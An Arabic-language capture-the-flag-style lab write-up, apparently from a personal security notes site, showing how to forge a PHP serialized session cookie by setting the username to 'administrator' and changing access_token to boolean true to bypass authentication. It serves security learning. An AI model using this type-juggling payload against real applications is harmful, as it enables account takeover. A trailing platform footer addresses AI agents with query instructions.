> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/deserialization/changing-serialized-data-types.md).

# تغيير أنواع البيانات المُسلسلة

### تعديل أنواع البيانات المُسلسلة

**هدف المختبر**

يستخدم هذا المختبر آلية جلسة تعتمد على التسلسل ويحتوي على ثغرة لتجاوز المصادقة. / الهدف هو تعديل الكائن المُسلسل الموجود في ملف تعريف ارتباط الجلسة للوصول إلى \*\*حساب المسؤول\*\*، ثم حذف المستخدم **carlos**.

**الوصول الأولي**

يمكنك الاتصال باستخدام بيانات الاعتماد التالية:

* **المستخدم**: `wiener`
* **كلمة المرور**: `peter`

بعد الاتصال، يعيد الخادم ملف تعريف ارتباط للجلسة يحتوي على كائن مُسلسل ومُرمَّز بصيغة Base64.

**تم الحصول على ملف تعريف ارتباط الجلسة**

يمتلك ملف تعريف ارتباط الجلسة القيمة التالية:

{% code overflow="wrap" %}

```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJybWNjYzI1MzQwcnMyMXF4bnptd2c0ZGd6c2FsZGo1dyI7fQ%3d%3d
```

{% endcode %}

**فك ترميز Base64 الأساسي**

بعد فك الترميز، يتم الحصول على كائن PHP مُسلسل كما يلي:

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

يمثل هذا الكائن مثيلاً لـ `المستخدم` فئة تحتوي على خاصيتين:

* `اسم المستخدم`
* `رمز الوصول`

**تحليل السلوك**

* إذا قامت `رمز الوصول` إذا تم تغيير الحرف، يُرجع الخادم خطأً، مما يشير إلى أن هذا الحقل يتم التحقق منه عادةً.
* الـ `اسم المستخدم` يُستخدم هذا الحقل لتحديد دور المستخدم.

<figure><img src="/files/8f61d231c97f3e814ab4ad5524774c18a7db7c54" alt=""><figcaption></figcaption></figure>

**استغلال الثغرة**

**تم تغيير اسم المستخدم**/ قيمة `اسم المستخدم` يتم استبدالها بـ `administrator` من خلال ضبط طول السلسلة بشكل صحيح (`s:13`).

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

**تغيير في نوع بيانات الرمز**/ بدلاً من تقديم نوع سلسلة `رمز الوصول` (`سلسلة`)، يتم تعديل نوعه إلى قيمة منطقية (`b:1`، وهو ما يعادل `true`).

الكائن المُسلسل النهائي:

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}%3d%3d
```

{% endcode %}

بعد إعادة ترميزه بصيغة Base64 وإدراجه في ملف تعريف ارتباط الجلسة، يقبل الخادم الكائن دون التحقق من نوع الرمز بشكل صحيح.

ثم يعتبر التطبيق الجلسة صالحة للمستخدم **administrator**.

<figure><img src="/files/5081c43fdd37d6bcfef26c9ea4c8375ad23b8217" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/deserialization/changing-serialized-data-types.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
